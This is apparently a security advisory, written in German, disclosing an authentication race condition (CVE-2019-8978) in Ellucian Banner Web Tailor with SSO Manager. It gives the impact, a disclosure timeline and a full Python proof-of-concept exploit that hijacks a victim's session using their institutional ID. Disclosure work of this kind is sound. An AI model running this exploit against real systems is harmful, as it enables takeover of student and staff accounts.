
Offenlegung von Sicherheitslücken in Banner Web Tailor und Banner Enterprise Identity Services
Autor: Katie Mulliken [email protected]
Dank an: Carnegie Mellon University CERT Coordination Center
Kurzfassung
Produkt
Auswirkungen und Empfehlungen
a. Auswirkungen
b. Empfehlungen
Technische Details
a. Technische Beschreibung
b. Exploit-Code
Offenlegungszeitplan
Referenzen
Eine Schwachstelle durch unsachgemäße Authentifizierung (CWE-287) wurde in Banner Web Tailor und Banner Enterprise Identity Services identifiziert. Diese Schwachstelle entsteht, wenn SSO Manager als Authentifizierungsmechanismus für Web Tailor verwendet wird, was zu Offenlegung von Informationen und Verlust der Datenintegrität für die betroffenen Benutzer führen kann. Der Anbieter hat die Schwachstelle verifiziert und einen Patch erstellt, der nun verfügbar ist. Weitere Informationen finden Sie in den Beiträgen auf Ellucian Communities: [LINK NOT PROVIDED BEFORE DEADLINE] und Banner Enterprise Identity Services: [LINK NOT PROVIDED BEFORE DEADLINE]. AKTUALISIERUNG: Hier ist der Link zum IAM-Bereich: Und dies ist der Link zur Mitteilung über die Banner Web Tailor- und SSO Manager-Schwachstelle, die im Banner General & Banner Technical Community-Bereich veröffentlicht wurde - ]
Banner Web Tailor ist ein Web-Tool, das für Hochschuleinrichtungen entwickelt wurde und Funktionen für die Kursanmeldung, Studienplanverwaltung, Studienberatung, Administration und Berichterstattung bereitstellt. Studierende können auf ihre Anmelde-, Abschluss- und Finanzhilfeinformationen zugreifen und diese ändern. Professoren und Lehrkräfte können Endnoten eingeben und ihre Kurse verwalten. Administratoren können auf Studenten- und Lehrerinformationen zugreifen und diese ändern. Es wird von Hunderten von Einrichtungen verwendet, von denen sich viele für den Single Sign-on Manager entschieden haben, um an CAS- und SAML-basierten Single-Sign-on-Diensten teilzunehmen. [2]
Die eindeutige Kennung eines Benutzers, UDCID, wird über ein Cookie preisgegeben, und dies kann zur Kompromittierung des Kontos führen, wenn diese Kennung erfasst oder anderweitig bekannt wird. Im getesteten Fall war die UDCID bekanntermaßen die auf Ausweisen aufgedruckte Institutionskennung. Die UDCID könnte ausgenutzt werden, um eine Race Condition auszulösen, die einem Angreifer unbefugten Zugriff verschafft. Bei einem Studenten könnte der Angreifer ihn von seinen Kursen abmelden, Finanzhilfe ablehnen, seine persönlichen Daten ändern usw. Bei einem Professor könnte dies dazu führen, dass dieser seine Kurse nicht mehr verwalten kann, ein böswilliger Student falsche Endnoten eintragen kann usw. Bei einem Administrator könnte ein Angreifer Benutzerinformationen ändern, falsche Sperren auf Studentenkonten setzen usw.
Betroffene Organisationen sollten auf die neueste Version aktualisieren. Weitere Informationen finden Sie in den Beiträgen auf Ellucian Communities: [LINK NOT PROVIDED BEFORE DEADLINE] und Banner Enterprise Identity Services: [LINK NOT PROVIDED BEFORE DEADLINE] AKTUALISIERUNG: Hier ist der Link zum IAM-Bereich: https://ecommunities.ellucian.com/message/252749#252749 Und dies ist der Link zur Mitteilung über die Banner Web Tailor- und SSO Manager-Schwachstelle, die im Banner General & Banner Technical Community-Bereich veröffentlicht wurde - https://ecommunities.ellucian.com/message/252810#252810. Bitte nutzen Sie Ellucian Communities oder kontaktieren Sie Ellucian über ActionLine, um weitere Informationen zu erhalten. Aktualisierungen dieser Offenlegung werden auf GitHub verfügbar sein: https://github.com/JoshuaMulliken/CVE-2019-8978
Die Schwachstelle durch unsachgemäße Authentifizierung kann durch eine Race Condition ausgenutzt werden, die in Ellucian Banner Web Tailor in Verbindung mit SSO Manager auftritt. Diese Schwachstelle ermöglicht es entfernten Angreifern, die Sitzung eines Opfers zu stehlen (und einen Denial of Service zu verursachen), indem sie die anfängliche Banner-Web-Tailor-Hauptseite wiederholt mit dem auf die UDCID des Opfers gesetzten IDMSESSID-Cookie anfordern, wobei es sich im getesteten Fall um die Institutionskennung handelt. Während eines Anmeldeversuchs eines Opfers kann der Angreifer die Race Condition ausnutzen und erhält die SESSID, die für dieses Opfer bestimmt war. Weitere Einzelheiten finden Sie im Proof-of-Concept-Code unter dem untenstehenden GitHub-Link.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
Dezember 2018: Versuchter Bericht über das Marketing-Webformular von Ellucian und gesendet an [email protected]
Dezember 2018: Bericht an das CERT Coordination Center der Carnegie Mellon University eingereicht
Januar 2019: Bericht an einen CISO bei Ellucian eingereicht, der über LinkedIn gefunden wurde
Januar 2019: Informationen zum Verfahren für verantwortungsvolle Offenlegung von der University of South Carolina angefordert
Januar 2019: Von Ellucian angewiesen, den Bericht über ActionLine einzureichen
Januar 2019: Von der University of South Carolina erfahren, dass es kein Verfahren für die Meldung von Schwachstellen gibt
Januar 2019: Der University of South Carolina mitgeteilt, dass ich eine Schwachstelle in Banner entdeckt habe
Februar 2019: CERT informierte mich über die gescheiterten Kontaktversuche mit dem Anbieter und riet mir zur öffentlichen Offenlegung
Februar 2019: Entwurf der Empfehlung an Ellucian gesendet und Offenlegungstermin auf den 4. März festgelegt.
Februar 2019: Vorführung der Schwachstelle für Ellucian über eine Zoom-Konferenz durchgeführt
März 2019: Von der University of South Carolina gebeten, die Veröffentlichung zu verschieben
März 2019: Die University of South Carolina erhielt einen zurückportierten Patch von Ellucian
März 2019: Ellucian schloss die Patches für alle Versionen ab
März 2019: Von Ellucian erfahren, dass die University of South Carolina Änderungen am 1. April vornehmen würde
April 2019: Informationen zum Patch-Status von der University of South Carolina angefordert
April 2019: Die University of South Carolina nannte den 30. April 2019 als voraussichtlichen Termin (ETA)
April 2019: Die University of South Carolina aktualisierte den voraussichtlichen Termin auf Mitte Mai
Mai 2019: Veröffentlichungsdatum der Offenlegung auf den 13. Mai festgelegt
Mai 2019: Die University of South Carolina kündigte eine geplante Wartungsunterbrechung für alle Banner-Dienste am 11. Mai an
Mai 2019: Die University of South Carolina installierte den Patch erfolgreich
Mai 2019: Offenlegung veröffentlicht